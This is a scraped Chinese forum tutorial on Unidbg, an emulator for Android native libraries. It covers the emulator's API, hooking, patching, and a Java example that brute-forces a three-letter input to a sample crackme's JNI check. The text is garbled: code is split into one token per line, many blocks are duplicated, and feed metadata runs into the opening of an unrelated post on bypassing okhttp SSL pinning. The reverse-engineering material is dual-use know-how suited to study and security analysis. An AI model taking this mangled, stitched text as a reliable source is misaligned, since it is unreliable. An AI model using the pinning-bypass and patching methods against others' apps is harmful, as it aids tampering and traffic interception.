函数有两个重载,一个基于符号寻址,一个基于地址寻址,本质没区别,符号寻址的最终也是会调用symbol.getAddress()
参数里的WrapCallback的泛型接口有三个RegisterContext(函数 Hook)
、HookZzArm32RegisterContext(针对ARM32位)
和HookZzArm64RegisterContext(针对ARM64位)
因为可以访问某个寄存器的值,所以适用于inline hook
而在HookZzArm64RegisterContext
中则是通过以下的方法去获取对应的寄存器的值
3.instrument_inline_hook函数
4.replace替换函数*
Console Debugger(控制台调试器)是 Unidbg 提供的一个强大工具,允许用户在模拟执行过程中设置断点、单步调试、查看和修改内存及寄存器等操作,从而深入分析目标程序的行为。
替换返回值
Patch 就是直接对二进制文件进行修改,Patch本质上只有两种形式
百度云
阿里云
哔哩哔哩
教程开源地址
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自解压
白龙unidbg教程
凯神博客
app逆向
【转载】Unidbg Hook 大全
特性 | \\n描述 | \\n
---|---|
使用场景 | \\n\\n |
模拟执行 | \\n执行目标 SO 文件中用户关注的函数,获取与真机等价的结果;替代 Frida/Xposed Call 进行 RPC 调用。 | \\n
监控观察 | \\n观察样本对环境的信息获取与修改;监控所有类型的外部信息访问,包括系统调用、库函数、JNI 调用、文件读写等。 | \\n
辅助算法分析和还原 | \\n提供 Hook/Debug/Trace 等分析能力,结合时间旅行调试器(Time-Travel Debugging),无疑是Android Native 上强大的分析神器。 | \\n
优点 | \\n\\n |
低成本 | \\n减少设备成本和改机成本,无需购置和维护大量真机或租借云手机。 | \\n
灵活性 | \\n可以模拟或代理所有函数调用接口,方便模拟设备环境变化。 | \\n
监控能力 | \\n能够监控 Native 层的详细执行流,包括 JNI 调用和文件访问。 | \\n
分析能力 | \\n结合时间旅行调试器,提供强大的算法分析和还原能力。 | \\n
缺点 | \\n\\n |
学习成本高 | \\n尤其是环境补全(补环境)部分,如果补得不好,即使跑出结果也无法使用。 | \\n
执行速度慢 | \\n基于 Unicorn 的模拟执行速度相比真机慢很多,尽管有 Dynarmic 等方案可以提高速度,但牺牲了部分辅助算法还原的能力。 | \\n
功能限制 | \\n没有为特定场景做专门的优化,也没有提供配置管理功能;没有实现对所有系统调用的良好模拟,可能导致某些逻辑处理失败。 | \\n
扩展性差 | \\n作为一个 Java 项目,Unidbg 无法作为 IDA 或 Ghidra 插件,也难以轻松嵌入到其他项目中,不如 Python 项目灵活。 | \\n
├── README.md
# 项目介绍和使用指南
\\n├── LICENSE
# 开源许可证文件
\\n├── .gitignore
# Git 忽略文件配置
\\n├── pom.xml
# Maven 配置文件,定义了项目的依赖和构建配置
\\n├── mvnw
# 脚本文件,用于 Maven Wrapper (Linux/Mac)
\\n├── mvnw.cmd
# 脚本文件,用于 Maven Wrapper (Windows)
\\n├── test.sh
# 测试脚本 (Linux/Mac)
\\n├── test.cmd
# 测试脚本 (Windows)
\\n├── .mvn
/
# Maven 配置目录
\\n│ └── wrapper
/
# Maven Wrapper 相关配置
\\n├── assets
/
# 存放模拟过程中使用的资源文件
\\n│ ├──
*
.dll
# Windows 动态链接库文件
\\n│ └──
*
.so
# Linux/Android 动态链接库文件
\\n├── backend
/
# 后端逻辑实现,包含核心模拟功能
\\n├── unidbg
-
api
/
# 核心接口和抽象类模块
\\n│ └── src
/
# API 模块的源代码目录
\\n├── unidbg
-
ios
/
# iOS 应用模拟模块
\\n│ └── src
/
# iOS 模拟模块的源代码目录
\\n├── unidbg
-
android
/
# Android 应用模拟模块
\\n│ ├── pom.xml
# Maven 构建文件
\\n│ ├── pull.sh
# 拉取 Android 模拟所需依赖文件的脚本
\\n│ └── src
/
# unidbg-android 模块的源代码目录
\\n│ ├── main
/
\\n│ │ ├── java
/
# 核心 Java 源代码
\\n│ │ │ └── com
/
github
/
unidbg
/
# 包含核心模拟器、文件系统、虚拟机组件
\\n│ │ │ └── net
/
fornwall
/
jelf
# ELF 文件格式解析实现
\\n│ │ └── resources
/
# 资源文件,封装了 JNI 库、Android 系统库等
\\n│ ├── test
/
\\n│ │ ├── java
/
# 单元测试代码
\\n│ │ ├── native
/
android
/
# 测试 Android 原生库的 C/C++ 源代码
\\n│ │ └── resources
/
# 测试资源文件,包含预编译的二进制文件(log4j.properties这个是日志相关配置,可以对open,syscall这类的系统调用进行trace)
\\n└── .mvn
/
# Maven Wrapper 相关配置目录
\\n├── README.md
# 项目介绍和使用指南
\\n├── LICENSE
# 开源许可证文件
\\n├── .gitignore
# Git 忽略文件配置
\\n├── pom.xml
# Maven 配置文件,定义了项目的依赖和构建配置
\\n├── mvnw
# 脚本文件,用于 Maven Wrapper (Linux/Mac)
\\n├── mvnw.cmd
# 脚本文件,用于 Maven Wrapper (Windows)
\\n├── test.sh
# 测试脚本 (Linux/Mac)
\\n├── test.cmd
# 测试脚本 (Windows)
\\n├── .mvn
/
# Maven 配置目录
\\n│ └── wrapper
/
# Maven Wrapper 相关配置
\\n├── assets
/
# 存放模拟过程中使用的资源文件
\\n│ ├──
*
.dll
# Windows 动态链接库文件
\\n│ └──
*
.so
# Linux/Android 动态链接库文件
\\n├── backend
/
# 后端逻辑实现,包含核心模拟功能
\\n├── unidbg
-
api
/
# 核心接口和抽象类模块
\\n│ └── src
/
# API 模块的源代码目录
\\n├── unidbg
-
ios
/
# iOS 应用模拟模块
\\n│ └── src
/
# iOS 模拟模块的源代码目录
\\n├── unidbg
-
android
/
# Android 应用模拟模块
\\n│ ├── pom.xml
# Maven 构建文件
\\n│ ├── pull.sh
# 拉取 Android 模拟所需依赖文件的脚本
\\n│ └── src
/
# unidbg-android 模块的源代码目录
\\n│ ├── main
/
\\n│ │ ├── java
/
# 核心 Java 源代码
\\n│ │ │ └── com
/
github
/
unidbg
/
# 包含核心模拟器、文件系统、虚拟机组件
\\n│ │ │ └── net
/
fornwall
/
jelf
# ELF 文件格式解析实现
\\n│ │ └── resources
/
# 资源文件,封装了 JNI 库、Android 系统库等
\\n│ ├── test
/
\\n│ │ ├── java
/
# 单元测试代码
\\n│ │ ├── native
/
android
/
# 测试 Android 原生库的 C/C++ 源代码
\\n│ │ └── resources
/
# 测试资源文件,包含预编译的二进制文件(log4j.properties这个是日志相关配置,可以对open,syscall这类的系统调用进行trace)
\\n└── .mvn
/
# Maven Wrapper 相关配置目录
\\nlog4j.logger.com.github.unidbg.linux.file=DEBUG
//把INFO改成DEBUG
\\nlog4j.logger.com.github.unidbg.linux.file=DEBUG
//把INFO改成DEBUG
\\npackage
com.kanxue.test2;
\\nimport
com.github.unidbg.AndroidEmulator;
\\nimport
com.github.unidbg.Module;
\\nimport
com.github.unidbg.arm.backend.DynarmicFactory;
\\nimport
com.github.unidbg.linux.android.AndroidEmulatorBuilder;
\\nimport
com.github.unidbg.linux.android.AndroidResolver;
\\nimport
com.github.unidbg.linux.android.dvm.DalvikModule;
\\nimport
com.github.unidbg.linux.android.dvm.DvmObject;
\\nimport
com.github.unidbg.linux.android.dvm.ProxyDvmObject;
\\nimport
com.github.unidbg.linux.android.dvm.VM;
\\nimport
com.github.unidbg.memory.Memory;
\\nimport
java.io.File;
\\npublic
class
MainActivity {
\\n
private
final
AndroidEmulator emulator;
// 定义Android模拟器实例
\\n
private
final
VM vm;
// 定义Dalvik虚拟机实例
\\n
public
MainActivity() {
\\n
// 创建32位Android模拟器实例,使用Dynarmic后端
\\n
emulator = AndroidEmulatorBuilder.for32Bit()
\\n
.addBackendFactory(
new
DynarmicFactory(
true
))
\\n
.build();
\\n
// 获取模拟器的内存管理接口
\\n
Memory memory = emulator.getMemory();
\\n
// 设置系统类库
\\n
LibraryResolver resolver =
new
AndroidResolver(
23
);
\\n
memory.setLibraryResolver(resolver);
\\n
// 创建Dalvik虚拟机实例
\\n
vm = emulator.createDalvikVM();
\\n
// 设置是否输出详细的JNI调用日志
\\n
vm.setVerbose(
false
);
\\n
// 加载指定路径的SO库文件,不自动调用JNI_OnLoad函数
\\n
DalvikModule dm = vm.loadLibrary(
new
File(
\\"unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libnative-lib.so\\"
),
false
);
\\n
// 手动调用JNI_OnLoad方法
\\n
dm.callJNI_OnLoad(emulator);
\\n
}
\\n
public
void
crack() {
\\n
// 创建一个vm对象,模拟Java层的对象传递给JNI层
\\n
DvmObject<?> obj = ProxyDvmObject.createObject(vm,
this
);
\\n
// 记录开始时间
\\n
long
start = System.currentTimeMillis();
\\n
// 遍历所有可能的三字符组合,尝试破解
\\n
for
(
char
a : LETTERS) {
\\n
for
(
char
b : LETTERS) {
\\n
for
(
char
c : LETTERS) {
\\n
String str =
\\"\\"
+ a + b + c;
\\n
// 调用JNI方法,传入当前组合,判断是否成功
\\n
boolean
success = obj.callJniMethodBoolean(emulator,
\\"jnitest(Ljava/lang/String;)Z\\"
, str);
\\n
if
(success) {
\\n
// 如果成功,输出结果并结束
\\n
System.out.println(
\\"Found: \\"
+ str +
\\", off=\\"
+ (System.currentTimeMillis() - start) +
\\"ms\\"
);
\\n
return
;
\\n
}
\\n
}
\\n
}
\\n
}
\\n
}
\\n
private
static
final
char
[] LETTERS = {
\\n
\'A\'
,
\'B\'
,
\'C\'
,
\'D\'
,
\'E\'
,
\'F\'
,
\'G\'
,
\'H\'
,
\'I\'
,
\'J\'
,
\'K\'
,
\'L\'
,
\'M\'
,
\\n
\'N\'
,
\'O\'
,
\'P\'
,
\'Q\'
,
\'R\'
,
\'S\'
,
\'T\'
,
\'U\'
,
\'V\'
,
\'W\'
,
\'X\'
,
\'Y\'
,
\'Z\'
,
\\n
\'a\'
,
\'b\'
,
\'c\'
,
\'d\'
,
\'e\'
,
\'f\'
,
\'g\'
,
\'h\'
,
\'i\'
,
\'j\'
,
\'k\'
,
\'l\'
,
\'m\'
,
\\n
\'n\'
,
\'o\'
,
\'p\'
,
\'q\'
,
\'r\'
,
\'s\'
,
\'t\'
,
\'u\'
,
\'v\'
,
\'w\'
,
\'x\'
,
\'y\'
,
\'z\'
};
// 定义字母表
\\n
public
static
void
main(String[] args) {
\\n
//记录开始时间
\\n
long
start = System.currentTimeMillis();
\\n
// 创建MainActivity实例
\\n
MainActivity main =
new
MainActivity();
\\n
//输出调用结果
\\n
System.out.println(
\\"load offset=\\"
+ (System.currentTimeMillis() - start) +
\\"ms\\"
);
\\n
// 调用破解方法
\\n
main.crack();
\\n
}
\\n}
package
com.kanxue.test2;
\\nimport
com.github.unidbg.AndroidEmulator;
\\nimport
com.github.unidbg.Module;
\\nimport
com.github.unidbg.arm.backend.DynarmicFactory;
\\nimport
com.github.unidbg.linux.android.AndroidEmulatorBuilder;
\\nimport
com.github.unidbg.linux.android.AndroidResolver;
\\nimport
com.github.unidbg.linux.android.dvm.DalvikModule;
\\nimport
com.github.unidbg.linux.android.dvm.DvmObject;
\\nimport
com.github.unidbg.linux.android.dvm.ProxyDvmObject;
\\nimport
com.github.unidbg.linux.android.dvm.VM;
\\nimport
com.github.unidbg.memory.Memory;
\\nimport
java.io.File;
\\npublic
class
MainActivity {
\\n
private
final
AndroidEmulator emulator;
// 定义Android模拟器实例
\\n
private
final
VM vm;
// 定义Dalvik虚拟机实例
\\n
public
MainActivity() {
\\n
// 创建32位Android模拟器实例,使用Dynarmic后端
\\n
emulator = AndroidEmulatorBuilder.for32Bit()
\\n
.addBackendFactory(
new
DynarmicFactory(
true
))
\\n
.build();
\\n
// 获取模拟器的内存管理接口
\\n
Memory memory = emulator.getMemory();
\\n
// 设置系统类库
\\n
LibraryResolver resolver =
new
AndroidResolver(
23
);
\\n
memory.setLibraryResolver(resolver);
\\n
// 创建Dalvik虚拟机实例
\\n
vm = emulator.createDalvikVM();
\\n
// 设置是否输出详细的JNI调用日志
\\n
vm.setVerbose(
false
);
\\n
// 加载指定路径的SO库文件,不自动调用JNI_OnLoad函数
\\n
DalvikModule dm = vm.loadLibrary(
new
File(
\\"unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libnative-lib.so\\"
),
false
);
\\n
// 手动调用JNI_OnLoad方法
\\n
dm.callJNI_OnLoad(emulator);
\\n
}
\\n
public
void
crack() {
\\n
// 创建一个vm对象,模拟Java层的对象传递给JNI层
\\n
DvmObject<?> obj = ProxyDvmObject.createObject(vm,
this
);
\\n
// 记录开始时间
\\n
long
start = System.currentTimeMillis();
\\n
// 遍历所有可能的三字符组合,尝试破解
\\n
for
(
char
a : LETTERS) {
\\n
for
(
char
b : LETTERS) {
\\n
for
(
char
c : LETTERS) {
\\n
String str =
\\"\\"
+ a + b + c;
\\n
// 调用JNI方法,传入当前组合,判断是否成功
\\n
boolean
success = obj.callJniMethodBoolean(emulator,
\\"jnitest(Ljava/lang/String;)Z\\"
, str);
\\n
if
(success) {
\\n
// 如果成功,输出结果并结束
\\n
System.out.println(
\\"Found: \\"
+ str +
\\", off=\\"
+ (System.currentTimeMillis() - start) +
\\"ms\\"
);
\\n
return
;
\\n
}
\\n
}
\\n
}
\\n
}
\\n
}
\\n
private
static
final
char
[] LETTERS = {
\\n
\'A\'
,
\'B\'
,
\'C\'
,
\'D\'
,
\'E\'
,
\'F\'
,
\'G\'
,
\'H\'
,
\'I\'
,
\'J\'
,
\'K\'
,
\'L\'
,
\'M\'
,
\\n
\'N\'
,
\'O\'
,
\'P\'
,
\'Q\'
,
\'R\'
,
\'S\'
,
\'T\'
,
\'U\'
,
\'V\'
,
\'W\'
,
\'X\'
,
\'Y\'
,
\'Z\'
,
\\n
\'a\'
,
\'b\'
,
\'c\'
,
\'d\'
,
\'e\'
,
\'f\'
,
\'g\'
,
\'h\'
,
\'i\'
,
\'j\'
,
\'k\'
,
\'l\'
,
\'m\'
,
\\n
\'n\'
,
\'o\'
,
\'p\'
,
\'q\'
,
\'r\'
,
\'s\'
,
\'t\'
,
\'u\'
,
\'v\'
,
\'w\'
,
\'x\'
,
\'y\'
,
\'z\'
};
// 定义字母表
\\n
public
static
void
main(String[] args) {
\\n
//记录开始时间
\\n
long
start = System.currentTimeMillis();
\\n
// 创建MainActivity实例
\\n
MainActivity main =
new
MainActivity();
\\n
//输出调用结果
\\n
System.out.println(
\\"load offset=\\"
+ (System.currentTimeMillis() - start) +
\\"ms\\"
);
\\n
// 调用破解方法
\\n
main.crack();
\\n
}
\\n}
emulator = AndroidEmulatorBuilder.for32Bit()
.addBackendFactory(
new
DynarmicFactory(
true
))
\\n
.build();
\\nemulator = AndroidEmulatorBuilder.for32Bit()
.addBackendFactory(
new
DynarmicFactory(
true
))
\\n
.build();
\\n.setRootDir()
//设置虚拟机的根目录,可以实现io重定向,例如:app读取/data/data/123.txt,rootDir设置为E:/unidbg,那么真正的目录是E:/unidbg/data/data/123.txt,
\\n.setRootDir()
//设置虚拟机的根目录,可以实现io重定向,例如:app读取/data/data/123.txt,rootDir设置为E:/unidbg,那么真正的目录是E:/unidbg/data/data/123.txt,
\\n方法名 | \\n返回类型 | \\n描述 | \\n
---|---|---|
getMemory() | \\nMemory | \\n获取内存操作接口。 | \\n
getPid() | \\nint | \\n获取进程的 PID。 | \\n
createDalvikVM() | \\nVM | \\n创建虚拟机。 | \\n
createDalvikVM(File apkFile) | \\nVM | \\n创建虚拟机并指定 APK 文件路径。 | \\n
getDalvikVM() | \\nVM | \\n获取已创建的虚拟机。 | \\n
showRegs() | \\nvoid | \\n显示当前寄存器状态,可指定寄存器。 | \\n
getBackend() | \\nBackend | \\n获取后端 CPU。 | \\n
getProcessName() | \\nString | \\n获取进程名。 | \\n
getContext() | \\nRegisterContext | \\n获取寄存器上下文。 | \\n
traceRead(long begin, long end) | \\nvoid | \\nTrace 读内存操作。 | \\n
traceWrite(long begin, long end) | \\nvoid | \\nTrace 写内存操作。 | \\n
traceCode(long begin, long end) | \\nvoid | \\nTrace 汇编指令执行。 | \\n
isRunning() | \\nboolean | \\n判断当前 Emulator 是否正在运行。 | \\n
LibraryResolver resolver =
new
AndroidResolver(
23
);
\\nmemory.setLibraryResolver(resolver);
LibraryResolver resolver =
new
AndroidResolver(
23
);
\\nmemory.setLibraryResolver(resolver);
方法名 | \\n返回类型 | \\n描述 | \\n
---|---|---|
setLibraryResolver(AndroidResolver resolver) | \\nvoid | \\n设置 Android SDK 版本解析器,目前支持 19 和 23 两个版本。 | \\n
getStackPoint() | \\nlong | \\n获取当前栈指针的值。 | \\n
pointer(long address) | \\nUnidbgPointer | \\n获取指针,指向指定内存地址,可通过指针操作内存。 | \\n
getMemoryMap() | \\nCollection<MemoryMap> | \\n获取当前内存的映射情况。 | \\n
findModule(String moduleName) | \\nModule | \\n根据模块名获取指定模块。 | \\n
findModuleByAddress(long address) | \\nModule | \\n根据地址获取指定模块。 | \\n
loadLibrary(File file, boolean forceLoad) | \\nElfModule | \\n加载 SO 文件,会调用 Linker.do_dlopen() 方法完成加载。 | \\n
allocatestack(int size) | \\nUnidbgPointer | \\n在栈上分配指定大小的内存空间。 | \\n
writestackstring(String value) | \\nUnidbgPointer | \\n将字符串写入栈内存中。 | \\n
writestackBytes(byte[] value) | \\nUnidbgPointer | \\n将字节数组写入栈内存中。 | \\n
malloc(int size, boolean runtime) | \\nUnidbgPointer | \\n分配指定大小的内存空间,返回指向该内存的指针。 | \\n
vm常用Api | \\n\\n | \\n |
// 创建Dalvik虚拟机实例
vm = emulator.createDalvikVM();
// 设置是否输出详细的JNI调用日志
vm.setVerbose(
false
);
\\n// 加载指定路径的SO库文件,不自动调用JNI_OnLoad函数
DalvikModule dm = vm.loadLibrary(
new
File(
\\"unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libnative-lib.so\\"
),
false
);
\\n// 手动调用JNI_OnLoad方法
dm.callJNI_OnLoad(emulator);
// 创建Dalvik虚拟机实例
vm = emulator.createDalvikVM();
// 设置是否输出详细的JNI调用日志
vm.setVerbose(
false
);
\\n// 加载指定路径的SO库文件,不自动调用JNI_OnLoad函数
DalvikModule dm = vm.loadLibrary(
new
File(
\\"unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libnative-lib.so\\"
),
false
);
\\n// 手动调用JNI_OnLoad方法
dm.callJNI_OnLoad(emulator);
方法名 | \\n返回类型 | \\n描述 | \\n
---|---|---|
createDalvikVM(File apkFile) | \\nVM | \\n创建虚拟机,指定 APK 文件,file可为空 | \\n
setVerbose(boolean verbose) | \\nvoid | \\n设置是否输出 JNI 运行日志。 | \\n
loadLibrary(File soFile, boolean callInit) | \\nDalvikModule | \\n加载 SO 模块,参数二设置是否自动调用 init 函数。 | \\n
setJni(Jni jni) | \\nvoid | \\n设置 JNI 交互接口,推荐实现 AbstractJni 。 | \\n
getJNIEnv() | \\nPointer | \\n获取 JNIEnv 指针,可作为参数传递。 | \\n
getJavaVM() | \\nPointer | \\n获取 JavaVM 指针,可作为参数传递。 | \\n
callJNI_OnLoad(Emulator<?> emulator, Module module) | \\nvoid | \\n调用 JNI_OnLoad 函数。 | \\n
addGlobalObject(DvmObject<?> obj) | \\nint | \\n向 VM 添加全局对象,返回该对象的 hash 值。 | \\n
addLocalObject(DvmObject<?> obj) | \\nint | \\n向 VM 添加局部对象,返回该对象的 hash 值。 | \\n
getObject(int hash) | \\nDvmObject<?> | \\n根据 hash 值获取虚拟机中的对象。 | \\n
resolveClass(String className) | \\nDvmClass | \\n解析指定类名,构建并返回一个 DvmClass 对象。 | \\n
getPackageName() | \\nString | \\n获取 APK 包名。 | \\n
getVersionName() | \\nString | \\n获取 APK 版本名称。 | \\n
getVersionCode() | \\nString | \\n获取 APK 版本号。 | \\n
openAsset(String assetName) | \\nInputStream | \\n打开 APK 中的指定资源文件。 | \\n
getManifestXml() | \\nString | \\n获取 AndroidManifest.xml 文件的文本内容。 | \\n
getSignatures() | \\nCertificateMeta[] | \\n获取 APK 签名信息。 | \\n
findClass(String className) | \\nDvmClass | \\n通过类名获取已经加载的类(DvmClass 对象)。 | \\n
getEmulator() | \\nEmulator<?> | \\n获取模拟器对象 emulator 。 | \\n
/**
* 加载指定名称的库文件。
\\n
* @param libname 库文件的名称,不包括前缀 \\"lib\\" 和后缀 \\".so\\"(例如 \\"example\\" 对应 \\"libexample.so\\")。
\\n
* @param forceCallInit 是否强制调用库的初始化函数(如 JNI_OnLoad)。
\\n
* @return 加载后的 DalvikModule 对象,封装了加载的库模块。
\\n
*/
\\nDalvikModule loadLibrary(String libname,
boolean
forceCallInit);
\\n/**
* 从原始字节数组中加载指定的库文件。
\\n
* @param libname 库文件的名称,仅用于标识该库,与文件路径无关。
\\n
* @param 传入buffer方便解析elf
\\n
*/
\\nDalvikModule loadLibrary(String libname,
byte
[] raw,
boolean
forceCallInit);
\\n/**
* 从指定路径的加载ELF。
\\n
* @param elfFile 表示库的 ELF 文件,必须是有效的 ELF 格式文件。例如:new File(\\"unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libnative-lib.so\\")
\\n
* @param forceCallInit 是否强制调用库的初始化函数(如 JNI_OnLoad)。
\\n
*/
\\nDalvikModule loadLibrary(File elfFile,
boolean
forceCallInit);
\\n/**
* 加载指定名称的库文件。
\\n
* @param libname 库文件的名称,不包括前缀 \\"lib\\" 和后缀 \\".so\\"(例如 \\"example\\" 对应 \\"libexample.so\\")。
\\n
* @param forceCallInit 是否强制调用库的初始化函数(如 JNI_OnLoad)。
\\n
* @return 加载后的 DalvikModule 对象,封装了加载的库模块。
\\n
*/
\\nDalvikModule loadLibrary(String libname,
boolean
forceCallInit);
\\n/**
* 从原始字节数组中加载指定的库文件。
\\n
* @param libname 库文件的名称,仅用于标识该库,与文件路径无关。
\\n
* @param 传入buffer方便解析elf
\\n
*/
\\nDalvikModule loadLibrary(String libname,
byte
[] raw,
boolean
forceCallInit);
\\n/**
* 从指定路径的加载ELF。
\\n
* @param elfFile 表示库的 ELF 文件,必须是有效的 ELF 格式文件。例如:new File(\\"unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libnative-lib.so\\")
\\n
* @param forceCallInit 是否强制调用库的初始化函数(如 JNI_OnLoad)。
\\n
*/
\\nDalvikModule loadLibrary(File elfFile,
boolean
forceCallInit);
\\n//第一个参数传入模拟器实例
//第二个参数传入要调用的函数在java层方法签名信息
//第三个参数传入可变参数列表,这里的参数在旧版本有很多需要自己封装,新版则帮我们封装好了,详细看callJniMethod方法
boolean
success = obj.callJniMethodBoolean(emulator,
\\"jnitest(Ljava/lang/String;)Z\\"
, str);
\\n/**
* 调用 JNI 方法的辅助函数。
\\n
*
\\n
* @param emulator 模拟器实例。
\\n
* @param vm Dalvik 虚拟机实例。
\\n
* @param objectType 调用方法的类(DvmClass)。
\\n
* @param thisObj 方法调用的对象实例(DvmObject)。
\\n
* @param method 要调用的方法签名(例如 \\"methodName(参数类型)返回类型\\")。
\\n
* @param args 方法的可变参数列表。
\\n
* @return 方法执行后的返回值(Number 类型),可能是整数或浮点数。
\\n
*/
\\nprotected
static
Number callJniMethod(Emulator<?> emulator, VM vm, DvmClass objectType, DvmObject<?> thisObj, String method, Object... args) {
\\n
// 查找对应的本地函数指针(Native 方法)
\\n
UnidbgPointer fnPtr = objectType.findNativeFunction(emulator, method);
\\n
// 将当前对象添加到本地引用表,防止被垃圾回收
\\n
vm.addLocalObject(thisObj);
\\n
// 创建用于存放函数参数的列表,初始容量为10
\\n
List<Object> list =
new
ArrayList<>(
10
);
\\n
// 添加 JNI 环境指针(JNIEnv*)
\\n
list.add(vm.getJNIEnv());
\\n
// 添加 this 对象的引用(jobject)
\\n
list.add(thisObj.hashCode());
\\n
// 处理传入的参数列表
\\n
if
(args !=
null
) {
\\n
for
(Object arg : args) {
\\n
if
(arg
instanceof
Boolean) {
\\n
// 如果参数是布尔值,转换为 JNI_TRUE 或 JNI_FALSE
\\n
list.add((Boolean) arg ? VM.JNI_TRUE : VM.JNI_FALSE);
\\n
continue
;
\\n
}
else
if
(arg
instanceof
Hashable) {
\\n
// 如果参数实现了 Hashable 接口,表示是 DvmObject 或其子类
\\n
list.add(arg.hashCode());
// 添加对象引用(jobject)
\\n
if
(arg
instanceof
DvmObject) {
\\n
// 将 DvmObject 对象添加到本地引用表
\\n
vm.addLocalObject((DvmObject<?>) arg);
\\n
}
\\n
continue
;
\\n
}
else
if
(arg
instanceof
DvmAwareObject ||
\\n
arg
instanceof
String ||
\\n
arg
instanceof
byte
[] ||
\\n
arg
instanceof
short
[] ||
\\n
arg
instanceof
int
[] ||
\\n
arg
instanceof
float
[] ||
\\n
arg
instanceof
double
[] ||
\\n
arg
instanceof
Enum) {
\\n
// 如果参数是 DvmAwareObject、字符串、数组或枚举等类型
\\n
// 创建一个代理 DvmObject 对象
\\n
DvmObject<?> obj = ProxyDvmObject.createObject(vm, arg);
\\n
// 添加对象引用(jobject)
\\n
list.add(obj.hashCode());
\\n
// 将对象添加到本地引用表
\\n
vm.addLocalObject(obj);
\\n
continue
;
\\n
}
\\n
// 对于其他类型的参数,直接添加到参数列表
\\n
list.add(arg);
\\n
}
\\n
}
\\n
// 调用本地函数,传入参数列表,并返回结果
\\n
return
Module.emulateFunction(emulator, fnPtr.peer, list.toArray());
\\n}
//第一个参数传入模拟器实例
//第二个参数传入要调用的函数在java层方法签名信息
//第三个参数传入可变参数列表,这里的参数在旧版本有很多需要自己封装,新版则帮我们封装好了,详细看callJniMethod方法
boolean
success = obj.callJniMethodBoolean(emulator,
\\"jnitest(Ljava/lang/String;)Z\\"
, str);
\\n/**
* 调用 JNI 方法的辅助函数。
\\n
*
\\n
* @param emulator 模拟器实例。
\\n
* @param vm Dalvik 虚拟机实例。
\\n
* @param objectType 调用方法的类(DvmClass)。
\\n
* @param thisObj 方法调用的对象实例(DvmObject)。
\\n
* @param method 要调用的方法签名(例如 \\"methodName(参数类型)返回类型\\")。
\\n
* @param args 方法的可变参数列表。
\\n
* @return 方法执行后的返回值(Number 类型),可能是整数或浮点数。
\\n
*/
\\nprotected
static
Number callJniMethod(Emulator<?> emulator, VM vm, DvmClass objectType, DvmObject<?> thisObj, String method, Object... args) {
\\n
// 查找对应的本地函数指针(Native 方法)
\\n
UnidbgPointer fnPtr = objectType.findNativeFunction(emulator, method);
\\n
// 将当前对象添加到本地引用表,防止被垃圾回收
\\n
vm.addLocalObject(thisObj);
\\n
// 创建用于存放函数参数的列表,初始容量为10
\\n
List<Object> list =
new
ArrayList<>(
10
);
\\n
// 添加 JNI 环境指针(JNIEnv*)
\\n
list.add(vm.getJNIEnv());
\\n
// 添加 this 对象的引用(jobject)
\\n
list.add(thisObj.hashCode());
\\n
// 处理传入的参数列表
\\n
if
(args !=
null
) {
\\n
for
(Object arg : args) {
\\n
if
(arg
instanceof
Boolean) {
\\n
// 如果参数是布尔值,转换为 JNI_TRUE 或 JNI_FALSE
\\n
list.add((Boolean) arg ? VM.JNI_TRUE : VM.JNI_FALSE);
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"1.了解unicorn与unidbg 2.源码学习unidbg的常用api\\n3.了解unidbg_hook\\n4.了解unidbg_patch\\n\\n1.教程Demo\\n2.IDEA\\n3.IDA\\n\\n\\n开源地址\\nUnicorn 是一个由新加坡南洋理工大学团队在2015年开源的CPU模拟器框架,它支持多种架构,包括X86/X64/ARM/ARM64/MIPS等。Unicorn 的主要特点是:\\n\\n开源地址\\nUnidbg(Unicorn Debugger)是一个开源的轻量级模拟器,主要设计用于模拟执行Android平台上的Native代码。它由凯神在2019年开源,基于Maven构建…","guid":"https://bbs.kanxue.com/thread-285073.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-01-01T01:52:37.287Z","media":[{"url":"https://pic.rmb.bdstatic.com/bjh/241224/a5a71662ce7a80f210e94738b801fcf09656.png","type":"photo","width":1208,"height":1146,"blurhash":"LQL}4[yr~CpckC%MaeNGD%tRt7V@"},{"url":"https://pic.rmb.bdstatic.com/bjh/241105/f570c80361c53cd8b69d789d1b0a175d6192.png","type":"photo","width":400,"height":400,"blurhash":"LeO_+*rX3ByD%#o}VsVs1Hkq8wRP"},{"url":"https://pic.rmb.bdstatic.com/bjh/241120/6928ce9343c8d818db850a9a6f510f9a774.png","type":"photo","width":640,"height":546,"blurhash":"L36t,s%N5QM|EatR-BWA%Qt8ozfl"},{"url":"https://pic.rmb.bdstatic.com/bjh/241127/42f64fbf7955fee4e576103830d0b9362530.png","type":"photo","width":751,"height":190,"blurhash":"L18NnYu+zV|_~qofRjof%gkDR*bb"},{"url":"https://pic.rmb.bdstatic.com/bjh/241209/425674e586a164f240dbdecc013a29375961.png","type":"photo","width":673,"height":465,"blurhash":"L15=9E~X-V#,V?t7oejZtSR%bIa{"},{"url":"https://pic.rmb.bdstatic.com/bjh/241209/2c7e201d38f159b6415498665139dd537331.png","type":"photo","width":673,"height":465,"blurhash":"L16H$J~q$iwJ-;t7ofn$-=RjWAog"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]okhttp 证书绑定流程 ssl pinning分析","url":"https://bbs.kanxue.com/thread-285064.htm","content":"\\n\\nhttps 相比 http 更加安全的其中一个原因就是增加了证书功能,用于对数据传输双方进行身份的验证和加密传输数据。之前直接使用 charles 或者 fiddler 等中间人抓包的方式,就无法获取到明文数据,或者无法与服务器建立连接。从而导致安全分析被卡在了第一步。虽然 app 使用了 https 方式对抗抓包,但是依然会有解决方案。本篇文章主要就是记录了我学习对抗https 过程中知识点的梳理。
\\n要想反制https抓包,首先就得知道正向是如何开发的。okhttp 使用 https 有几种方式,第一种信任所有证书,第二种只信任系统证书,第三种只信任指定证书。
\\nHostnameVerifier 中不验证主机域名,TrustAllCerts 也不做任何处理。这样就是默认信任所有证书
